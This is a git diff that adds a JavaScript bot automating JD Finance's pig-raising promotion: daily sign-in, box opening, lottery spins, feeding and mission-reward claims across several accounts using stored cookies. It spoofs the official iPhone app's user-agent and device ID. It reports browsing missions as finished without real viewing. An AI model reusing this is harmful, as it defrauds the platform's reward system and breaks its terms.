this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_pigPet.js b/jd_pigPet.js new file mode 100644 index 0000000000..466f4b2c6d --- /dev/null +++ b/jd_pigPet.js @@ -0,0 +1,664 @@ +/* +Last Modified time: 2021-5-19 12:27:16 +活动入口:京东金融养猪猪 +一键开完所有的宝箱功能。耗时70秒 +大转盘抽奖 +喂食 +每日签到 +完成分享任务得猪粮 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +===============Quantumultx=============== +[task_local] +#京东金融养猪猪 +12 0-23/6 * * * jd_pigPet.js, tag=京东金融养猪猪, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyz.png, enabled=true + +================Loon============== +[Script] +cron "12 0-23/6 * * *" script-path=jd_pigPet.js, tag=京东金融养猪猪 + +===============Surge================= +京东金融养猪猪 = type=cron,cronexp="12 0-23/6 * * *",wake-system=1,timeout=3600,script-path=jd_pigPet.js + +============小火箭========= +京东金融养猪猪 = type=cron,script-path=jd_pigPet.js, cronexpr="12 0-23/6 * * *", timeout=3600, enable=true + */ +const $ = new Env('金融养猪'); +const url = require('url'); +const querystring = require('querystring'); +let cookiesArr = [], cookie = '', allMessage = ''; +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +const MISSION_BASE_API = `https://ms.jr.jd.com/gw/generic/mission/h5/m`; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + await jdPigPet(); + } + } + if (allMessage && new Date().getHours() % 6 === 0) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdPigPet() { + try { + await pigPetLogin(); + if (!$.hasPig) return + await pigPetSignIndex(); + await pigPetSign(); + await pigPetOpenBox(); + await pigPetLotteryIndex(); + await pigPetLottery(); + await pigPetMissionList(); + await missions(); + console.log('第一遍完成,开始领取可能的未领取:') + await pigPetMissionList(); + await missions(); + await pigPetUserBag(); + } catch (e) { + $.logErr(e) + } +} +async function pigPetLottery() { + if ($.currentCount > 0) { + for (let i = 0; i < $.currentCount; i ++) { + await pigPetLotteryPlay(); + } + } +} +async function pigPetSign() { + if (!$.sign) { + await pigPetSignOne(); + } else { + console.log(`第${$.no}天已签到\n`) + } +} +function pigPetSignOne() { + return new Promise(async resolve => { + const body = { + "source":2, + "channelLV":"juheye", + "riskDeviceParam": "{}", + "no": $.no + } + $.post(taskUrl('pigPetSignOne', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('签到结果',data) + // data = JSON.parse(data); + // if (data.resultCode === 0) { + // if (data.resultData.resultCode === 0) { + // if (data.resultData.resultData) { + // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); + // $.sign = data.resultData.resultData.sign; + // $.no = data.resultData.resultData.today; + // } + // } else { + // console.log(`查询签到情况异常:${JSON.stringify(data)}`) + // } + // } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询背包食物 +function pigPetUserBag() { + return new Promise(async resolve => { + const body = {"source":2,"channelLV":"yqs","riskDeviceParam":"{}","t":Date.now(),"skuId":"1001003004","category":"1001"}; + $.post(taskUrl('pigPetUserBag', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData && data.resultData.resultData.goods) { + console.log(`\n食物名称 数量`); + for (let item of data.resultData.resultData.goods) { + console.log(`${item.goodsName} ${item.count}g`); + } + for (let item of data.resultData.resultData.goods) { + if (item.count >= 20) { + console.log(`10秒后开始喂食${item.goodsName},当前数量为${item.count}g`) + await $.wait(10000); + await pigPetAddFood(item.sku); + } + } + } else { + console.log(`暂无食物`) + } + } else { + console.log(`开宝箱其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//喂食 +function pigPetAddFood(skuId) { + return new Promise(async resolve => { + console.log(`skuId::::${skuId}`) + const body = { + "source": 0, + "channelLV":"yqs", + "riskDeviceParam":"{}", + "skuId": skuId.toString(), + "category":"1001", + } + // const body = { + // "source": 2, + // "channelLV":"juheye", + // "riskDeviceParam":"{}", + // "skuId": skuId.toString(), + // } + $.post(taskUrl('pigPetAddFood', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`喂食结果:${data}`) + data = JSON.parse(data); + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pigPetLogin() { + return new Promise(async resolve => { + const body = { + "source":2, + "channelLV":"juheye", + "riskDeviceParam":"{}", + } + $.post(taskUrl('pigPetLogin', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + $.hasPig = data.resultData.resultData.hasPig; + if (!$.hasPig) { + console.log(`\n京东账号${$.index} ${$.nickName} 未开启养猪活动,请手动去京东金融APP开启此活动\n`) + return + } + if (data.resultData.resultData.wished) { + if (data.resultData.resultData.wishAward) { + allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${data.resultData.resultData.wishAward.name}已可兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } else { + console.log(`Login其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//开宝箱 +function pigPetOpenBox() { + return new Promise(async resolve => { + const body = {"source":2,"channelLV":"yqs","riskDeviceParam":"{}","no":5,"category":"1001","t": Date.now()} + $.post(taskUrl('pigPetOpenBox', body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData && data.resultData.resultData.award) { + console.log(`开宝箱获得${data.resultData.resultData.award.content},数量:${data.resultData.resultData.award.count}`); + + } else { + console.log(`开宝箱暂无奖励`) + } + await $.wait(2000); + await pigPetOpenBox(); + } else if (data.resultData.resultCode === 420) { + console.log(`开宝箱失败:${data.resultData.resultMsg}`) + } else { + console.log(`开宝箱其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询大转盘的次数 +function pigPetLotteryIndex() { + $.currentCount = 0; + return new Promise(async resolve => { + const body = { + "source":2, + "channelLV":"juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetLotteryIndex', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); + $.currentCount = data.resultData.resultData.currentCount; + } + } else { + console.log(`查询大转盘的次数:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询签到情况 +function pigPetSignIndex() { + $.sign = true; + return new Promise(async resolve => { + const body = { + "source":2, + "channelLV":"juheye", + "riskDeviceParam": "{}" + } + $.post(taskUrl('pigPetSignIndex', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + $.sign = data.resultData.resultData.sign; + $.no = data.resultData.resultData.today; + } + } else { + console.log(`查询签到情况异常:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//抽奖 +function pigPetLotteryPlay() { + return new Promise(async resolve => { + const body = { + "source":2, + "channelLV":"juheye", + "riskDeviceParam":"{}", + "t":Date.now(), + "type":0, + } + $.post(taskUrl('pigPetLotteryPlay', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + // console.log(`当前大转盘剩余免费抽奖次数::${data.resultData.resultData.currentCount}`); + $.currentCount = data.resultData.resultData.currentCount;//抽奖后剩余的抽奖次数 + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function missions() { + for (let item of $.missions) { + // console.log(JSON.stringify(item)) + if (item.status === 4) { + console.log(`\n${item.missionName}任务已做完,开始领取奖励`) + await pigPetDoMission(item.mid); + await $.wait(1000) + } else if (item.status === 5){ + console.log(`\n${item.missionName}已领取`) + } else if (item.status === 3){ + // console.log(JSON.stringify(item)) + console.log(`\n${item.missionName}未完成`) + await pigPetDoMission(item.mid); + await $.wait(1000) + let parse + if (item.url){ + parse = url.parse(item.url,true,true) + console.log(JSON.stringify(parse)) + }else{ + parse = {} + } + if(parse.query && parse.query.readTime){ + console.log(`做任务:${item.missionName}`) + // console.log(JSON.stringify(item)) + await queryMissionReceiveAfterStatus(parse.query.missionId) + console.log(`等待:${parse.query.readTime}`) + await $.wait(parse.query.readTime*1000) + await finishReadMission(parse.query.missionId,parse.query.readTime) + await $.wait(1000) + } else if(parse.query && parse.query.juid) { + await getJumpInfo(parse.query.juid) + await $.wait(4000) + } + } + } +} +//领取做完任务的奖品 +function pigPetDoMission(mid) { + return new Promise(async resolve => { + const body = { + "source":2, + "channelLV":"", + "riskDeviceParam":"{}", + "mid": mid + } + $.post(taskUrl('pigPetDoMission', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('pigPetDoMission',data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + if (data.resultData.resultData.award) { + console.log(`奖励${data.resultData.resultData.award.name},数量:${data.resultData.resultData.award.count}`) + } + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询任务列表 +function pigPetMissionList() { + return new Promise(async resolve => { + const body = { + "source":2, + "channelLV":"", + "riskDeviceParam":"{}", + } + $.post(taskUrl('pigPetMissionList', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.resultCode === 0) { + if (data.resultData.resultCode === 0) { + if (data.resultData.resultData) { + $.missions = data.resultData.resultData.missions;//抽奖后剩余的抽奖次数 + } + } else { + console.log(`其他情况:${JSON.stringify(data)}`) + } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getJumpInfo(juid) { + return new Promise(async resolve => { + const options = { + "url": `${MISSION_BASE_API}/getJumpInfo?reqData={"juid":"${juid}"}`, + "headers": { + "Cookie": cookie, + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/application=JDJR-App&deviceId=1423833363730383d273532393d243445364-d224341443d2938333530323445433033353&eufv=1&clientType=ios&iosType=iphone&clientVersion=6.1.70&HiClVersion=6.1.70&isUpdate=0&osVersion=13.7&osName=iOS&platform=iPhone 6s (A1633/A1688/A1691/A1700)&screen=667*375&src=App Store&netWork=1&netWorkType=1&CpayJS=UnionPay/1.0 JDJR&stockSDK=stocksdk-iphone_3.5.0&sPoint=&jdPay=(*#@jdPaySDK*#@jdPayChannel=jdfinance&jdPayChannelVersion=6.1.70&jdPaySdkVersion=3.00.52.00&jdPayClientName=iOS*#@jdPaySDK*#@)', + 'referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/?channel=gry&jrcontainer=h5&jrlogin=true', + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('getJumpInfo',data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function queryMissionReceiveAfterStatus(missionId) { + return new Promise(resolve => { + const options = { + "url": `${MISSION_BASE_API}/queryMissionReceiveAfterStatus?reqData={"missionId":"${missionId}"}`, + "headers": { + "Cookie": cookie, + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/application=JDJR-App&deviceId=1423833363730383d273532393d243445364-d224341443d2938333530323445433033353&eufv=1&clientType=ios&iosType=iphone&clientVersion=6.1.70&HiClVersion=6.1.70&isUpdate=0&osVersion=13.7&osName=iOS&platform=iPhone 6s (A1633/A1688/A1691/A1700)&screen=667*375&src=App Store&netWork=1&netWorkType=1&CpayJS=UnionPay/1.0 JDJR&stockSDK=stocksdk-iphone_3.5.0&sPoint=&jdPay=(*#@jdPaySDK*#@jdPayChannel=jdfinance&jdPayChannelVersion=6.1.70&jdPaySdkVersion=3.00.52.00&jdPayClientName=iOS*#@jdPaySDK*#@)', + 'referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/?channel=gry&jrcontainer=h5&jrlogin=true', + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('queryMissionReceiveAfterStatus',data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//做完浏览任务发送信息API +function finishReadMission(missionId,readTime) { + return new Promise(async resolve => { + const options = { + "url": `${MISSION_BASE_API}/finishReadMission?reqData={"missionId":"${missionId}","readTime":${readTime}}`, + "headers": { + "Cookie": cookie, + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/application=JDJR-App&deviceId=1423833363730383d273532393d243445364-d224341443d2938333530323445433033353&eufv=1&clientType=ios&iosType=iphone&clientVersion=6.1.70&HiClVersion=6.1.70&isUpdate=0&osVersion=13.7&osName=iOS&platform=iPhone 6s (A1633/A1688/A1691/A1700)&screen=667*375&src=App Store&netWork=1&netWorkType=1&CpayJS=UnionPay/1.0 JDJR&stockSDK=stocksdk-iphone_3.5.0&sPoint=&jdPay=(*#@jdPaySDK*#@jdPayChannel=jdfinance&jdPayChannelVersion=6.1.70&jdPaySdkVersion=3.00.52.00&jdPayClientName=iOS*#@jdPaySDK*#@)', + 'referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/?channel=gry&jrcontainer=h5&jrlogin=true', + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log('finishReadMission',data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body) { + return { + url: `${JD_API_HOST}/${function_id}?_=${Date.now()}`, + body: `reqData=${JSON.stringify(body)}`, + "headers": { + "Cookie": cookie, + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/application=JDJR-App&deviceId=1423833363730383d273532393d243445364-d224341443d2938333530323445433033353&eufv=1&clientType=ios&iosType=iphone&clientVersion=6.1.70&HiClVersion=6.1.70&isUpdate=0&osVersion=13.7&osName=iOS&platform=iPhone 6s (A1633/A1688/A1691/A1700)&screen=667*375&src=App Store&netWork=1&netWorkType=1&CpayJS=UnionPay/1.0 JDJR&stockSDK=stocksdk-iphone_3.5.0&sPoint=&jdPay=(*#@jdPaySDK*#@jdPayChannel=jdfinance&jdPayChannelVersion=6.1.70&jdPaySdkVersion=3.00.52.00&jdPayClientName=iOS*#@jdPaySDK*#@)', + 'referer': 'https://u1.jr.jd.com/uc-fe-wxgrowing/cloudpig/index/?channel=gry&jrcontainer=h5&jrlogin=true', + } + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else 